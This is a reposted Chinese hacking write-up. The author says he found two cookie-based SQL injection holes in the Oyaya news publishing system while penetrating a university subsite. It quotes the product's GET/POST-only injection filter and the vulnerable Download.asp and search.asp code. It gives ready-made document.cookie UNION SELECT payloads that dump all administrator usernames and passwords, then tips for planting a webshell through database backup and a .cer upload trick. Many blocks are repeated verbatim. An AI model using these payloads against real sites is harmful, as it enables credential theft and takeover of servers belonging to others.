来源:网络
昨晚在渗透当地一个大学网站的时候找到一个子站是使用凹丫丫新闻发布系统,当时在网上找了下有关这套系统的漏洞却没有任何发现,于是便自己下了套4.7ACC版的来研究了下。经过半个多小时的研究终于让我找出了两个注入漏洞,后来又想起曾经在黑吧上看到有公布过这个系统的0day,不过都是老版本的,或者有的根本不是很实用。当时是估计这套系统应该很早就有人研究出我所看到的漏洞了,只不过是没有人放出来罢了,试想那么明显的漏洞那些大牛们不可能看不出来把。我现在找出来了就顺便放出来,再详细分析下漏洞代码。
系统主要漏洞是cookie注入,总的有两处,我们先来看看防注入代码:
系统主要漏洞是cookie注入,总的有两处,我们先来看看防注入代码:
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定义部份 头----------------------------------------------------------------------
Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
'Err_Web = "Err.Asp" '出错时转向的页面
Err_Web = "http://www.oyaya.net" '出错时转向的页面
Query_Badword="'∥or∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在这部份定义get非法参数,使用"∥"号间隔
Form_Badword="" '在这部份定义post非法参数,使用"∥"号间隔
'Form_Badword="'∥%∥&∥*∥#∥=∥or" '在这部份定义post非法参数,使用"∥"号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----对 post 表 单值的过滤.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定义部份 头----------------------------------------------------------------------
Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
'Err_Web = "Err.Asp" '出错时转向的页面
Err_Web = "http://www.oyaya.net" '出错时转向的页面
Query_Badword="'∥or∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在这部份定义get非法参数,使用"∥"号间隔
Form_Badword="" '在这部份定义post非法参数,使用"∥"号间隔
'Form_Badword="'∥%∥&∥*∥#∥=∥or" '在这部份定义post非法参数,使用"∥"号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----对 post 表 单值的过滤.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
通用的防注入系统,很明显的做了GET和POST过滤,这里有了这个要想直接进行注入那基本上算是没戏了,但是在这个防注入程序中未对cookie进行过滤,我们只要找到直接request("xx")方式获取变量的地方,以及将变量带入SQL查询语句中的代码,经过仔细查找找到了两处,首先是在Download.asp文件中。
Download.asp文件是显示所有下载的一个列表文件,显示列表细信息是使用 call ShowDown(32) 代码调用包含文件Include/SysDown.asp中的ShowDown函数,我们来看看Include/SysDown.asp文件以及ShowDown函数代码。
Download.asp文件是显示所有下载的一个列表文件,显示列表细信息是使用 call ShowDown(32) 代码调用包含文件Include/SysDown.asp中的ShowDown函数,我们来看看Include/SysDown.asp文件以及ShowDown函数代码。
<%
dim strFileName,MaxPerPage,ShowSmallClassType
……
BeginTime=Timer
BigClassName=Trim(request("BigClassName"))
SmallClassName=Trim(request("SmallClassName"))
keyword=trim(request("keyword"))
if keyword<>"" then
keyword=replace(replace(replace(replace(keyword,"'","‘"),"<","<"),">",">")," "," ")
end if
strField=trim(request("Field"))
……
%>
在Include/SysDown.asp文件开头部位能看到如上代码,很明显的BigClassName和SmallClassName的值是直接使用request方式获取,并未指明request对象的具体方法。过滤方面只使用了Trim函数过滤掉了两边的空格,现在我们就要找找看什么地方是直接将BigClassName或SmallClassName的值带入SQL语句的,继续往下看到ShowDown函数,既是Download.asp文件中显示列表信息的函数,代码如下:
sub ShowDown(TitleLen)
…………
if currentPage=1 then
sqlDown="select top " & MaxPerPage
else
sqlDown="select "
end if
sqlDown=sqlDown & " ID,title,content,BigClassName,SmallClassName,System,Language,Softclass,PhotoUrl,DownloadUrl,FileSize,Hits,AddDate from download"
if BigClassName<>"" then
sqlDown=sqlDown & " where BigClassName='" & BigClassName & "' "
if SmallClassName<>"" then
sqlDown=sqlDown & " and SmallClassName='" & SmallClassName & "' " end if
end if
sqlDown=sqlDown & " order by AddDate desc"
Set rsDown= Server.CreateObject("ADODB.Recordset")
rsDown.open sqlDown,conn,1,1
if rsDown.bof and rsDown.eof then
response.Write("<br><li>没有任何下载</li>")
else
…………
end sub
…………
if currentPage=1 then
sqlDown="select top " & MaxPerPage
else
sqlDown="select "
end if
sqlDown=sqlDown & " ID,title,content,BigClassName,SmallClassName,System,Language,Softclass,PhotoUrl,DownloadUrl,FileSize,Hits,AddDate from download"
if BigClassName<>"" then
sqlDown=sqlDown & " where BigClassName='" & BigClassName & "' "
if SmallClassName<>"" then
sqlDown=sqlDown & " and SmallClassName='" & SmallClassName & "' " end if
end if
sqlDown=sqlDown & " order by AddDate desc"
Set rsDown= Server.CreateObject("ADODB.Recordset")
rsDown.open sqlDown,conn,1,1
if rsDown.bof and rsDown.eof then
response.Write("<br><li>没有任何下载</li>")
else
…………
end sub
这个地方就直接使用BigClassName和SmallClassName的值进行查询了,在此之前没有任何地方对BigClassName和SmallClassName进行顾虑处理,所以我们就可以利用这里的BigClassName进行cookie注入了。
利用代码: javascript:alert(document.cookie="BigClassName="+escape("%25' and 1=2 union select 1,admin,3,password,5,6,7,8,9,10,11,12,13 from admin where 1=1 and 'a'='a"));
打开http://localhost/Download.asp页面,然后在第一个页的IE地址栏中以上利用代码,然后访问http://localhost/Download.asp?页,刷新一次,系统中所有的管理员账号和密码就列出来了。
利用代码: javascript:alert(document.cookie="BigClassName="+escape("%25' and 1=2 union select 1,admin,3,password,5,6,7,8,9,10,11,12,13 from admin where 1=1 and 'a'='a"));
打开http://localhost/Download.asp页面,然后在第一个页的IE地址栏中以上利用代码,然后访问http://localhost/Download.asp?页,刷新一次,系统中所有的管理员账号和密码就列出来了。
另外在search.asp页面中同样存在cookie注入,只不过针对search.asp页面的注入语句有所不一样,因为这里是搜索型的注入,先看代码:
<%
key=request("key")
otype=request("otype")
if key="" then
response.write "<script>alert('查找字符串不能为空!');history.back();</script>"
response.end
end if
…………
page=clng(request("page"))
set rs= server.createobject("adodb.recordset")
if otype="title" then
sql="select * from news where title like '%"& key &"%' order by id desc"
elseif otype="msg" then
sql="select * from news where content like '%"& key &"%' order by id desc"
elseif otype="dtitle" then
sql="select * from Download where title like '%"& key &"%' order by id desc"
elseif otype="dmsg" then
sql="select * from Download where Content like '%"& key &"%' order by id desc"
end if
rs.open sql,conn,1,1
if rs.eof and rs.bof then
response.write "<tr bgcolor='#ffffff'><td colspan='4'><p align='center'>对不起,没有找到相关新闻</p></td></tr>"
else
%>
key=request("key")
otype=request("otype")
if key="" then
response.write "<script>alert('查找字符串不能为空!');history.back();</script>"
response.end
end if
…………
page=clng(request("page"))
set rs= server.createobject("adodb.recordset")
if otype="title" then
sql="select * from news where title like '%"& key &"%' order by id desc"
elseif otype="msg" then
sql="select * from news where content like '%"& key &"%' order by id desc"
elseif otype="dtitle" then
sql="select * from Download where title like '%"& key &"%' order by id desc"
elseif otype="dmsg" then
sql="select * from Download where Content like '%"& key &"%' order by id desc"
end if
rs.open sql,conn,1,1
if rs.eof and rs.bof then
response.write "<tr bgcolor='#ffffff'><td colspan='4'><p align='center'>对不起,没有找到相关新闻</p></td></tr>"
else
%>
漏洞原理就和上面的Download.asp页面中的一样了,下面是利用的方法:
利用代码: javascript:alert(document.cookie="key="+escape("%25%25' and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin where 1=1 and aleave like '%25%25"));
在确定search.asp页面存在的情况下访问http://localhost/search.asp?otype=title&key=xx,然后在IE地址栏输入以上利用代码后再访问http://localhost/search.asp?otype=title& 页面,刷新,同样的系统全部管理账号密码都暴出来了。
利用代码: javascript:alert(document.cookie="key="+escape("%25%25' and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin where 1=1 and aleave like '%25%25"));
在确定search.asp页面存在的情况下访问http://localhost/search.asp?otype=title&key=xx,然后在IE地址栏输入以上利用代码后再访问http://localhost/search.asp?otype=title& 页面,刷新,同样的系统全部管理账号密码都暴出来了。
Download.asp页面有很多站不存在,在Download.asp页面不存在的情况下就是用搜索页面的注入,不过在搜索页面有时候遇到不能直接爆出账号密码的情况,遇到这样的情况首先使用手工检测是否可注入,再测试admin表以及aleave字段是否存在,若以上都没问题那就是字段数不匹配,这里就需要手工一个一个的去试,我在测试过程中有遇到过21个字段的,有11个字段的。
后台拿webshell很简单,数据库备份,以及添加新闻时候上传图片程序处的解析漏洞利用,另外运气好的话还可以遇见根目录下一个上传图片程序页:Upload_Photo.asp存在,这个页面需要登录后台后才能使用,利用方法还是闷豆兄突破的,使用双文件上传一个cer的文件,至于最终能不能成就需要看服务器是否解析cer了!!
后台拿webshell很简单,数据库备份,以及添加新闻时候上传图片程序处的解析漏洞利用,另外运气好的话还可以遇见根目录下一个上传图片程序页:Upload_Photo.asp存在,这个页面需要登录后台后才能使用,利用方法还是闷豆兄突破的,使用双文件上传一个cer的文件,至于最终能不能成就需要看服务器是否解析cer了!!